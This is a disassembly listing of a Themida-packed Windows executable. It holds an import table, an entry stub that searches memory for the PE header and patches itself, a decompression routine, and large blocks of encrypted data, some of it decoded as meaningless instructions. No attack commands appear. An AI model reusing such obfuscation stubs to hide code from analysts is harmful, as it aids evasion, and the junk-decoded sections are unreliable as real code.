; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4DF000h
a7icwCw		db '7w\w',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0DF050h, 0DF000h, 3 dup(0)
		dd 0DF079h, 0DF00Ch, 5 dup(0)
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000E0000)
; Virtual size			: 000DB000 ( 897024.)
; Section size in file		: 000DB000 ( 897024.)
; Offset to raw	data for section: 000E0000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 4E0000h
		dd 51D2C7BAh, 423BAh, 540A0h, 95172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0053B3A5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0053E726 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0053E99C SIZE 00000041 BYTES
; FUNCTION CHUNK AT 0053E9E3 SIZE 0000000A BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4E0086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4E0041
		popa
		jmp	short loc_4E0076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		dd 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------


loc_4E0041:				; CODE XREF: start+18j
		call	$+5
		pop	eax


loc_4E0047:				; DATA XREF: ___:00437A34o
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_4E004E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4E006D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4E0074


loc_4E006D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_4E004E
; ---------------------------------------------------------------------------


loc_4E0074:				; CODE XREF: start+57j
		mov	edi, eax


loc_4E0076:				; CODE XREF: start+1Bj
		jmp	loc_4E0265
; ---------------------------------------------------------------------------
		db 3
		dd 26AB9C7h, 0CF03000Eh
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------


loc_4E0086:				; CODE XREF: start+8j
		mov	eax, offset loc_53B3A5
		mov	ecx, offset word_4E026A
		push	eax
		push	ecx
		call	sub_4E011B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4E0265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 9328h
		dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh
		dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh
		dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh,	0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4E011B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_4E0127:				; CODE XREF: sub_4E011B:loc_4E013Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_4E0132:				; CODE XREF: sub_4E011B+7Aj
					; sub_4E011B+C3j ...
		add	dl, dl
		jnz	short loc_4E013B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E013B:				; CODE XREF: sub_4E011B+19j
		jnb	short loc_4E0127
		add	dl, dl
		jnz	short loc_4E0146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0146:				; CODE XREF: sub_4E011B+24j
		jnb	short loc_4E0197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E0153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0153:				; CODE XREF: sub_4E011B+31j
		jnb	loc_4E0238
		add	dl, dl
		jnz	short loc_4E0162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0162:				; CODE XREF: sub_4E011B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E016D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E016D:				; CODE XREF: sub_4E011B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0178:				; CODE XREF: sub_4E011B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0183:				; CODE XREF: sub_4E011B+61j
		adc	eax, eax
		jz	short loc_4E018D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_4E018D:				; CODE XREF: sub_4E011B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0197:				; CODE XREF: sub_4E011B:loc_4E0146j
		mov	eax, 1


loc_4E019C:				; CODE XREF: sub_4E011B:loc_4E01B0j
		add	dl, dl
		jnz	short loc_4E01A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01A5:				; CODE XREF: sub_4E011B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E01B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01B0:				; CODE XREF: sub_4E011B+8Ej
		jb	short loc_4E019C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4E01E3
		mov	ecx, 1


loc_4E01C0:				; CODE XREF: sub_4E011B:loc_4E01D4j
		add	dl, dl
		jnz	short loc_4E01C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01C9:				; CODE XREF: sub_4E011B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E01D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01D4:				; CODE XREF: sub_4E011B+B2j
		jb	short loc_4E01C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E01E3:				; CODE XREF: sub_4E011B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_4E01F1:				; CODE XREF: sub_4E011B:loc_4E0205j
		add	dl, dl
		jnz	short loc_4E01FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01FA:				; CODE XREF: sub_4E011B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E0205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0205:				; CODE XREF: sub_4E011B+E3j
		jb	short loc_4E01F1
		cmp	eax, 7D00h
		jnb	short loc_4E0228
		cmp	eax, 500h
		jb	short loc_4E0223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0223:				; CODE XREF: sub_4E011B+F8j
		cmp	eax, 7Fh
		ja	short loc_4E022B


loc_4E0228:				; CODE XREF: sub_4E011B+F1j
		add	ecx, 2


loc_4E022B:				; CODE XREF: sub_4E011B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0238:				; CODE XREF: sub_4E011B:loc_4E0153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E0259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0259:				; CODE XREF: sub_4E011B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4E011B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4E0265:				; CODE XREF: start:loc_4E0076j
					; start+9Dj
		jmp	loc_53B3A5
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_4E026A	dw 38E9h		; DATA XREF: start+77o
		dd 157337Ch, 6552C0EFh,	73617473h, 70413872h, 783E2EBDh
		dd 76FD8F70h, 0F5870170h, 215C71C4h, 489291FFh,	21A8EE0Ch
		dd 0B48B03D2h, 10AFDFEh, 0B076B9BFh, 3430F0ABh,	6A314E2Dh
		dd 0C684AEACh, 37FB3A03h, 0DF080336h, 70989177h, 2279FD87h
		dd 0F715C21Dh, 7523019Ch, 702411FFh, 11457E8Fh,	455E3FC2h
		dd 0E435C235h, 1DC23D33h, 6854E0FDh, 691C6D65h,	0F7216164h
		dd 0C58B0E5Dh, 0E860D443h, 815D4384h, 733E8EDh,	95890C06h
		dd 0B50D200Dh, 101F3122h, 42FF985h, 10D9BD83h, 0C74031Ch
		dd 0E291E88Bh, 0F14F2FB8h, 447078C2h, 3E88E324h, 6A0330D9h
		dd 7A3E845h, 749A6829h
		db 83h,	0DFh, 4Ah
; ---------------------------------------------------------------------------


loc_4E032B:				; CODE XREF: Themida_:004E03A9j
		fisttp	word ptr [edx]
		add	esp, ds:0D20A894Bh
		aad	21h
		jmp	near ptr 0EC98054Eh
; ---------------------------------------------------------------------------
		dw 1FAh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pop	eax
		out	dx, al
		pop	edx
		or	[ecx+13479EAh],	al
		mov	ebx, edx
		mov	dword ptr [ebp-28h], 0E630823h
		inc	eax
		mov	[edi], ebx
		or	[ecx+1D80987Dh], al
		jz	short loc_4E036E
		iret
; ---------------------------------------------------------------------------
		dd 83E40820h, 0FF1093E3h, 0EB43120Ch
		db 0E1h, 36h
; ---------------------------------------------------------------------------


loc_4E036E:				; CODE XREF: Themida_:004E035Dj
		fsubr	qword ptr [esi+61h]
		db	26h
		or	cl, 0C2h
		add	al, 80h
		inc	esi
		add	esp, 2D1FF7Ch
		dec	ecx
		enter	0FFFF80C2h, 8Dh
		inc	ebp
		or	byte ptr [ebx-38D7F7A3h], 85h
		sbb	[ecx+0A408D50h], ecx
		rol	ebx, 1
		mov	ds:0B894118h, dl
		adc	al, 81h
		mov	ebp, 755D4006h
		push	edx
		jecxz	short loc_4E03CA
		test	[ebp-7F9BE246h], ecx
		jnz	short loc_4E032B
		mov	cl, [esi]
		mov	ebx, 15B92F4h
		mov	eax, 785437ABh
		rcl	eax, cl
		stc
		ja	near ptr 0F7C34EC8h
		pusha
		scasd
		retn
; ---------------------------------------------------------------------------
		db 47h
		dd 8C4AA446h
		db 46h,	54h
; ---------------------------------------------------------------------------


loc_4E03CA:				; CODE XREF: Themida_:004E03A1j
		stc
		inc	edx
		rcl	dword ptr [edi+61h], 1
		mov	al, [eax-30h]	; CODE XREF: Themida_:004E03D2j
		lock jmp short near ptr	loc_4E03CF+1
; ---------------------------------------------------------------------------
		db 14h,	0EEh, 45h
		dd 0EB144DFCh, 1879AD04h, 403E8046h, 84A6BAF7h,	7DC334DCh
		dd 217FEB0Ch, 6D99F83Eh, 9509F012h, 210F40Eh, 0F065C14Ah
		dd 0F8D68004h, 7203E0D1h, 3328C0C2h, 301C8ADBh,	98FB8039h
		dd 390A0A72h, 7D057A77h, 0CF22E4EBh, 0DEC6114h,	8FE660Ah
		dd 9DBE1EDEh, 10580AC3h, 6172411Ah, 77460A0Bh, 4424BD06h
		dd 0F05D3001h, 7D83F4ECh, 723602E6h, 6EC00CB0h,	0AACCA576h
		dd 9C83F826h, 0A8D48D0Eh, 0FC553B01h, 5378820Fh, 0AA83B0BDh
		dd 0BAA1387Ch, 0C1B9C108h, 0BDFC5370h, 0FE0036CAh, 0E49470Fh
		dd 22B9FA75h, 0BBE76A2Eh, 0F1A31F01h, 0C78EB82h, 86018EECh
		dd 708380Dh, 36C16551h,	28F71DBFh, 5007268Ah, 305905E9h
		dd 660D07EAh, 85E6AE21h, 8C673B00h, 0E9C32CD9h,	0DA21C012h
		dd 4EBBB64Bh, 5F00A3F6h, 0AAEFD49h, 192F7479h, 645CF49Ah
		dd 6BC69DF1h, 4E95146h,	59211C3Fh, 458A81C4h, 98820525h
		dd 41211709h, 0F5C40351h, 0E08CE127h, 0C034CB91h, 39008267h
		dd 0F765B4Eh, 1F51B810h, 1DD1043Dh, 3E46983Bh, 2E750975h
		dd 480E1160h, 2865E4ECh, 2750690h, 8E05C584h, 92A42096h
		dd 54047853h, 668C29C2h, 0EE7B471h, 0FF98E0DDh,	6077812Bh
		dd 341D2204h, 0F90C84C1h, 0BC207533h, 0ABB833Fh, 3033EFB3h
		dd 89ECEE02h, 0CC9F7F8Ch, 0CF4090FFh, 60E9EA45h, 0C46250h
		dd 254D8C52h, 0B1AA8211h, 5AABCD84h, 56130884h,	5E0AF8A6h
		dd 812BEE82h, 37FC19A8h, 0B9F58A81h, 230A1344h,	80524397h
		dd 0C881E00Fh, 38DECB4h, 0A771BCDAh, 0E2D943F9h, 52FF4205h
		dd 0E4C45A30h, 224D468Ah, 52420F15h, 0C09C9EC4h, 54600F91h
		dd 101BCA0Bh, 23255B86h, 600E5854h, 7D8A44C4h, 48201962h
		dd 9DCC458h, 0C55F070Fh, 0F6616A20h, 861AC862h,	0DFA1A96h
		dd 5A0B60C8h, 18C01988h, 0A6826A2h, 0EADF8C2Ah,	55C8BFC3h
		dd 3E34DC29h, 7DE00D54h, 2AA208Ah, 0C3567AC8h, 8A91C45Eh
		dd 1974E6Dh, 2CC45646h,	13BF10EAh, 8A8B96h, 4ED34502h
		dd 2D06E4EBh, 470CE94Fh, 13EE206Ch, 35C34DB0h, 0E88CC7C0h
		dd 454BAFh, 2BEB3B5Fh, 0A36164B5h, 0F1E0050Ah, 0D4079B77h
		dd 7B80825Ch, 0A065700Bh, 0C072B1D3h, 0F6BB6746h, 3228BAA8h
		dd 0D4E0091Dh, 3EC434E0h, 858059D8h, 0E84461EFh, 7EFD07F1h
		dd 0B1F93688h, 0C5B11EE9h, 72388C69h, 185214BCh, 39666C22h
		dd 510C4D6Dh, 260490F6h, 5987CE6h, 0BA9425ECh, 0F4A90C65h
		dd 13C62196h, 0E70BE9h,	1789811Eh, 88E1C65Bh, 10698F09h
		dd 0EA6B908Ah, 0BE8A40Dh, 37EE7C79h, 71941100h,	60F44EE9h
		dd 22444A48h, 1940F731h, 881E83h, 0ABFE1766h, 9BC964DDh
		dd 8EA6018h, 3974523h, 8A98E84Dh, 32EB5F3Dh, 270B1B00h
		dd 0EE4C772Fh, 0FD743B07h, 139EED82h, 318E8B10h, 1D1090C9h
		dd 81E4D782h, 0EA11580Bh, 5B97204Eh, 2C6988h, 97C00FF3h
		dd 0CB03D9A6h, 9CABDF00h, 9F93FC9Dh, 607D0FFDh,	0A58015EEh
		dd 6DB547D9h, 80E2DB3Dh, 0DDBFA11Bh, 692729h, 2E9E3314h
		dd 9DAD93E6h, 0C7B96D0Dh, 32E048B8h, 72530031h,	0E8A633EFh
		dd 8D00E1CAh, 4084C4BEh, 19B8BF2h, 7BFBF85Eh, 8C183FD3h
		dd 41AFC838h, 0BE30003Bh, 7E584F85h, 8AE84AD0h,	35802900h
		dd 5CE0F2B6h, 9D4C00AFh, 5E4B8E37h, 5700A795h, 0BE49F61Bh
		dd 7142B6Ch, 9FBB59F0h,	6581CE75h, 0F0D21A25h, 480369C0h
		dd 83EB391Eh, 0FCC0008Ch, 8036B989h, 9C002AE3h,	0A81E2C78h
		dd 0E92F82D4h, 0BE079980h, 0B906613Bh, 19004772h, 69228F8Dh
		dd 378967Bh, 9D92F930h,	58A64928h, 0B6060100h, 8B98BEEFh
		dd 0ACE83087h, 0AA0E1D08h, 3470FE00h, 48F17265h, 0F25603B4h
		dd 0C0BE4ADCh, 7E689298h, 86806F00h, 2555971Dh,	21EE0072h
		dd 8A4B47A4h, 0E00CBAFh, 980C2732h, 0E7D3F89h, 1EDB8B97h
		dd 0D137E82h, 0F285DF41h, 828A1141h, 9C8E8B48h,	12448198h
		dd 408806C3h, 0A8321E1Fh, 0E37B208Dh, 0A702BB44h, 9ABE0AFBh
		dd 0B3834034h, 2F030A3h, 90894331h, 0CF039500h,	0C5BBF7AFh
		dd 6F3000EDh, 0F038DE57h, 85E0A9D0h, 9A221130h,	50048491h
		dd 898F3819h, 60A040FEh, 6D0ACD77h, 80B7395Fh, 9664EB80h
		dd 7814Fh, 79E6FCC6h, 67AFB362h, 76401B16h, 9BB9B300h
		dd 0EF61386h, 42252BE9h, 911E9920h, 32004388h, 0E706EBB3h
		dd 60078421h, 0C1AA8120h, 0E53036E6h, 0B5608994h, 0B3140042h
		dd 4FF53849h, 8503F37Ah, 828EAF92h, 90290A8Ah, 83AC840Fh
		dd 8C2DA110h, 0CB148003h, 79A5E55Eh, 0C9450029h, 47ACF25Ch
		dd 0E700A3C7h, 7B9604F7h, 14CD1E5Eh, 0AC527909h, 16746700h
		dd 141BCA4Ch, 1E7B3214h, 876801D0h, 13F093D6h, 84C0B980h
		dd 0ED22F2DEh, 1B46BA07h, 98CA8116h, 29890183h,	2907C84h
		dd 659A696Ch, 0C48268A2h, 8C809183h, 0B0C1FBFEh, 0B5061490h
		dd 1DCB028Eh, 6EEA70h, 0D4F97AFFh, 4113FE9Bh, 1A289A60h
		dd 79A3B003h, 733A2888h, 1B020CE8h, 0D520A89Dh,	0C842A0Ch
		dd 3606A91Ah, 18998911h, 301A1E44h, 948AFD3h, 2080790Ah
		dd 2D890F0Fh, 0C61E8580h, 90073732h, 5D99100Ch,	0CF7D0A8h
		dd 0C6B50BFEh, 16037370h, 0F67CAD75h, 0F5641822h, 0CF9C40B8h
		dd 6E31A20Ch, 0A819Bh, 0A4427DECh, 56A5B7Eh, 8D6F107h
		dd 0DE501C58h, 54888DDBh, 24E7DCB1h, 4074EFD5h,	0D1471760h
		dd 2F85A300h, 10295280h, 1C6F6C2h, 0D9678EA1h, 0E006978Bh
		dd 1B7C38DBh, 0B83ECD03h, 2282FEDFh, 0BF89888h,	8199583Ch
		dd 0D8765FAEh, 0FFCC11B3h, 0A1BC0274h, 33A3A773h, 0F191E481h
		dd 32D10787h, 8241F07h,	0E6391499h, 6E0C9C74h, 25F1D62Bh
		dd 8D207B09h, 32F4189Dh, 8E40402Fh, 0C8609A48h,	0E1996105h
		dd 40D9029Ch, 14889DB8h, 18E5D063h, 1710D60Fh, 50C714C0h
		dd 0B40F2328h, 4107CE0Ch, 0AD8E99DDh, 321C408Eh, 877017CCh
		dd 4CA7640Fh, 499B4C42h, 13020A97h, 1E0B954h, 2BD971D6h
		dd 4608211Fh, 100D1CB1h, 5097C991h, 1F524BE0h, 4A8CBD12h
		dd 0FEE85Ah, 3C7701BCh,	0D5078427h, 0BE4E2FDAh,	4BCCCDA0h
		dd 56325C89h, 4988C703h, 68A0F0FDh, 73008E39h, 0CD646066h
		dd 0F08FF85Fh, 36C624C2h, 4F780BBCh, 5341F300h,	6E98CCE7h
		dd 0FAD0CA00h, 7C65E3B3h, 5C8703B7h, 0F10EC646h, 0C47D8085h
		dd 1B1D525Bh, 128108D9h, 762B0A80h, 7BF08041h, 14DD74E0h
		dd 0E86E7E4Ch, 38932910h, 0C8CC4C90h, 4F026188h, 0FEB8000Ah
		dd 2803E0F6h, 0A988FFDh, 754E3988h, 398424FCh, 5099F598h
		dd 11E9317Fh, 38A684DFh, 26911004h, 7E828CE4h, 0C8A73296h
		dd 10C0181Ch, 1725EF5h,	224ED98Bh, 6EF0BAD0h, 98937D04h
		dd 45FE1D1Ah, 0D34387ECh, 95C777F5h, 391C419Ch,	0C457B7FCh
		dd 63F2880Dh, 5F829A00h, 4F84628Eh, 2B21971h, 1015B017h
		dd 607F3AAEh, 7EF5882Eh, 0B5000682h, 6FD0D5A0h,	26772A7Dh
		dd 1F45A01h, 8F958110h,	49EC2386h, 9A0D1004h, 180E8019h
		dd 331AD009h, 82591069h, 906A04h, 79A48727h, 0B57B81C1h
		dd 88311BCFh, 0B115022h, 0F67D0020h, 3985C771h,	40836012h
		dd 1C1BB65Bh, 0CCB40A55h, 81C15114h, 98221A30h,	8AF61448h
		dd 10147861h, 90AE4208h, 151480DCh, 0F49E88D2h,	50C02D74h
		dd 0F98467CDh, 2839C15Bh, 3699A0Ah, 0EB80571h, 0C0EBDD3Fh
		dd 0BC550C13h, 529A38C0h, 329498ABh, 58E8A989h,	49E98C86h
		dd 0C86E1D26h, 3473DF40h
dword_4E0BD8	dd 695B0DF8h, 0D4219596h, 60927F0Ah, 0D9990C09h, 7BA880F6h
		dd 6FE5E774h, 82802991h, 0AA8C4684h, 0DCD8C548h, 1DF3FEC2h
		dd 82CCA1A0h, 6C208E45h, 256F290Ah, 87303BF8h, 0DDCD2A89h
		dd 1E243600h, 48BC599Eh, 0DCA10034h, 76144B3Fh,	0F7004E67h
		dd 0D90515D8h, 4C7DB2FDh, 990C9021h, 14A0BBF1h,	6817122Eh
		dd 5C306893h, 0ABFB79h,	0BF0A0BDAh, 0F5F4D36Dh,	6CAF8D2Ch
		dd 16D70108h, 0BB8047Dh, 0C41E131Bh, 48054416h,	2CD3A211h
		dd 0C799C0E6h, 870D6CBh, 67838C00h, 0E4361987h,	2840081h
		dd 80067462h, 99DB32C6h, 0ABA10C0Dh, 0C44140B4h, 19801117h
		dd 31F1C191h, 3A100E1Eh, 0F018199Fh, 0D9374911h, 0DDCBFB07h
		dd 84815B80h, 98A490B9h, 0FAB08F0h, 580E3D12h, 480BD022h
		dd 0DD0487DAh, 0FE1C8047h, 0CC606503h, 0BC0982F0h, 7E18CF46h
		dd 1A85584h, 835E5722h,	4AC8D980h, 8759A9A1h, 7C9C5D5Ch
		dd 496ED588h, 7E045C24h, 498E5F3h, 81B12Fh, 0AF01B7C9h
		dd 0FD78889Ch, 0D9E809B4h, 407F7498h, 41DF8A83h, 0C05007DCh
		dd 1B9A5784h, 287E10FAh, 0C20F76BAh, 0A0A631A4h, 0DA106EC8h
		dd 0C4015690h, 80461115h, 0E11C9E04h, 6C44909Bh, 0C491EF43h
		dd 552CE000h, 8AD7B8h, 660648BAh, 0E994AF13h, 79608B60h
		dd 26810F3Dh, 8458A57Dh, 1E282712h, 0A90CFC2h, 74C04126h
		dd 8B8E1C70h, 0BDFDE3h,	84F77D48h, 0F609ED16h, 90948DC0h
		dd 201A96F4h, 100C12B7h, 68A071A9h, 0AF6E04D1h,	81B6B98Ch
		dd 96509414h, 2401CF38h, 4702AEEBh, 46CE8852h, 1FEA0074h
		dd 9DA5252Eh, 5A1F600Bh, 50D706F6h, 4910C448h, 94259C02h
		dd 0F502409h, 0D2222820h, 289D7341h, 5E0421E1h,	1001E76h
		dd 2650B5C4h, 0C063C100h, 8E81A7B1h, 4B48129Dh,	6E0C0955h
		dd 0EDF8F013h, 0EB7292C2h, 71E90300h, 630C1CDCh, 3551C077h
		dd 91F88C09h, 0F6812300h, 0AAC6DEE1h, 671F0456h, 859CA594h
		dd 405CC495h, 0F01BC044h, 4500A161h, 6314223Ch,	236105Dh
		dd 0F7A4FE2h, 0B8C8AD91h, 3FFE0AC6h, 0E009B891h, 90E42FB1h
		dd 4005F085h, 7D663084h, 0C709E303h, 8762138Ah,	1238F360h
		dd 1D0C92E2h, 1444049Ch, 5D02CA0Ah, 659185F4h, 0CA94C8ABh
		dd 0F2065E44h, 121C92A7h, 43590349h, 8F6F435Ch,	6BAE5900h
		dd 1DB630Bh, 98B37C52h,	2C7C9A34h, 0D2BDF11h, 193895A5h
		dd 2543F298h, 0F84A4BC2h, 60EF3019h, 0D30019DBh, 1318206h
		dd 0AB6F2A4h, 1D2F3A80h, 0ADAB4298h, 0AC400809h, 84405213h
		dd 0FA6F8FEDh, 191B0008h, 73AF929Dh, 0D75CF0F5h, 29663778h
		dd 9C97FC6h, 0E720E646h, 8BED8C40h, 2881DE28h, 50CEB481h
		dd 3F36028Ch, 0B4A07C92h, 2C9ACDF3h, 85B8229h, 0B80AE80Ah
		dd 1243ACA1h, 48791E86h, 43394A35h, 0F9208E84h,	93794E6Ch
		dd 9FB9D406h, 0B0214739h, 959422CCh, 0F9EB5C0Ah, 16B818B9h
		dd 2040C6FBh, 0DD78039Ah, 9212301Bh, 643EE371h,	8A93801h
		dd 0D4D3B322h, 19DDB8CCh, 0C0CCD686h, 804182DEh, 48A45E5Ch
		dd 0E912EF20h, 8151713h, 74F4144Dh, 9210F8h, 97683F01h
		dd 22D68974h, 5008F048h, 2A114C2Bh, 1AA0236Eh, 0D1B9EFC3h
		dd 71FF7861h, 2CF7D1A4h, 635001Ch, 0EC99888h, 30D82613h
		dd 0D0794264h, 10839441h, 2ED10401h, 1974A995h,	8A856165h
		dd 808A1210h, 5474FD80h, 308D55A5h, 0CCD1F49Ah,	0CF53884Bh
		dd 799DCD28h, 690C280Fh, 945895DEh, 10D9144h, 65104599h
		dd 0D220C798h, 1711BCE1h, 78C9A810h, 40AC56D0h,	84570F81h
		dd 1883203h, 1073B44Eh,	85ECE013h, 0F944735Eh, 4C495612h
		dd 2B49BE1Eh, 1B583C1Fh, 0A4515415h, 91BA7FA0h,	9230323Ch
		dd 342A2025h, 0D9793E21h, 1B4E3F0h, 0E0B2C97Ah,	80D68E5Eh
		dd 77DD4ED0h, 70140183h, 95EE28D1h, 11BC8F48h, 590B0D0h
		dd 9B98A8BCh, 6FA401Dh,	0A8A51C2Ah, 0BC86B22Ah,	909F8E19h
		dd 5442D661h, 0EC12107Bh, 80FFF981h, 0C11F0684h, 85559A71h
		dd 0A07A8135h, 0D133EFD7h, 3092F7CDh, 897041DDh, 346357C8h
		dd 81C29CBCh, 0C120B708h, 204C3422h, 14BCA411h,	0A07201E8h
		dd 989CB424h, 0F609080Eh, 3D047494h, 1092909Eh,	8C28C8A9h
		dd 0A830004Bh, 0F8DA2FC5h, 4671FE6Bh, 357E3Eh, 0BFCC7341h
		dd 719D54Bh, 5F9964DDh,	8AF7D04Ch, 373B9A27h, 0CCA18056h
		dd 5DF0E66Dh, 157507E3h, 2FC28Fh, 28E78180h, 313053Ah
		dd 405A9C70h, 2140045Eh, 573E98h, 0E9C96DB6h, 75E60063h
		dd 4CC17307h, 0F2008C17h, 47094BBAh, 79C74D8h, 0F630854Fh
		dd 4298F1D0h, 0B7BCDC79h, 0E90B2C79h, 126BE661h, 5F043580h
		dd 9D02F8AAh, 0EBD62BCBh, 16D84063h, 44CE0088h,	0FAC47417h
		dd 76001449h, 5AAE73A2h, 7085E7Ah, 31950A89h, 41B5862Bh
		dd 0B16BED00h, 0DD360433h, 8310004Ch, 225CB0F2h, 7C07E70Bh
		dd 0E193A59h, 841EA01Fh, 80302F32h, 0FA20D829h,	361A1E6Ch
		dd 800640CCh, 2040C6F7h, 68D81200h, 227A536Bh, 1A9E07C2h
		dd 806C4184h, 0D826F9B8h, 0B15EE603h, 267D184Ch, 12380452h
		dd 0BA942E96h, 2EB8AF00h, 0E36DF4D4h, 36157200h, 71064CDAh
		dd 44C100F7h, 74E84722h, 24F845AEh, 2793011Ch, 40797D8Eh
		dd 0D116CC9Eh, 0F9B000F8h, 0CE8F462Ah, 3500172Eh, 1952B3C6h
		dd 3FDF1Ch, 2A5C2745h, 8E148F07h, 402B6931h, 0FBC92CCEh
		dd 74464800h, 84CC803h,	0C8BFC435h, 0CB751Eh, 8845AA2Dh
		dd 1483F45Eh, 79003EE4h, 2CC0EC84h, 0B0E9DAh, 750147E4h
		dd 3F083AC8h, 0AA8C1E59h, 7100B8FCh, 0D46DC5A0h, 3E35EF0h
		dd 0CC821648h, 0F790443Fh, 1C40498Dh, 0E9D7F5Dh, 8B033083h
		dd 7A3E9FE3h, 22C5AAB8h, 65BFD107h, 86F02AF2h, 447DCh
		dd 1BECC79h, 2DE61114h,	6D5EA600h, 83D60720h, 1641009Ah
		dd 2BD0EC7Bh, 6F07F6C9h, 360A38EDh, 74F03237h, 74C93F7h
		dd 2DD10C23h, 1DE0AEA8h, 9C248FF4h, 36573201h, 0D615D5ECh
		dd 0EFAB0D0h, 0F6730233h, 8A7F0680h, 265801ADh,	57622ACh
		dd 13890F3Bh, 478A58Eh,	0FE046F88h, 0C95A3680h,	52016BFAh
		dd 4E49C7CBh, 1EDDE105h, 603495DEh, 626FF3D2h, 52D8B700h
		dd 49FF037Dh, 0ABBA0A3Eh, 0E11C71A4h, 823AE25Eh, 719CB010h
		dd 1C145EA1h, 0B041D2B6h, 56078270h, 3F9764EBh,	0E9910FC1h
		dd 0F64C033Bh, 5100905Eh, 51B34C65h, 7F68F0AEh,	1C050483h
		dd 0E9308732h, 88E038Ch, 8D411Bh, 95031D58h, 4B144F37h
		dd 9C4028BCh, 2181F19h,	0A9749105h, 1CB1DFB7h, 0FA3F029Bh
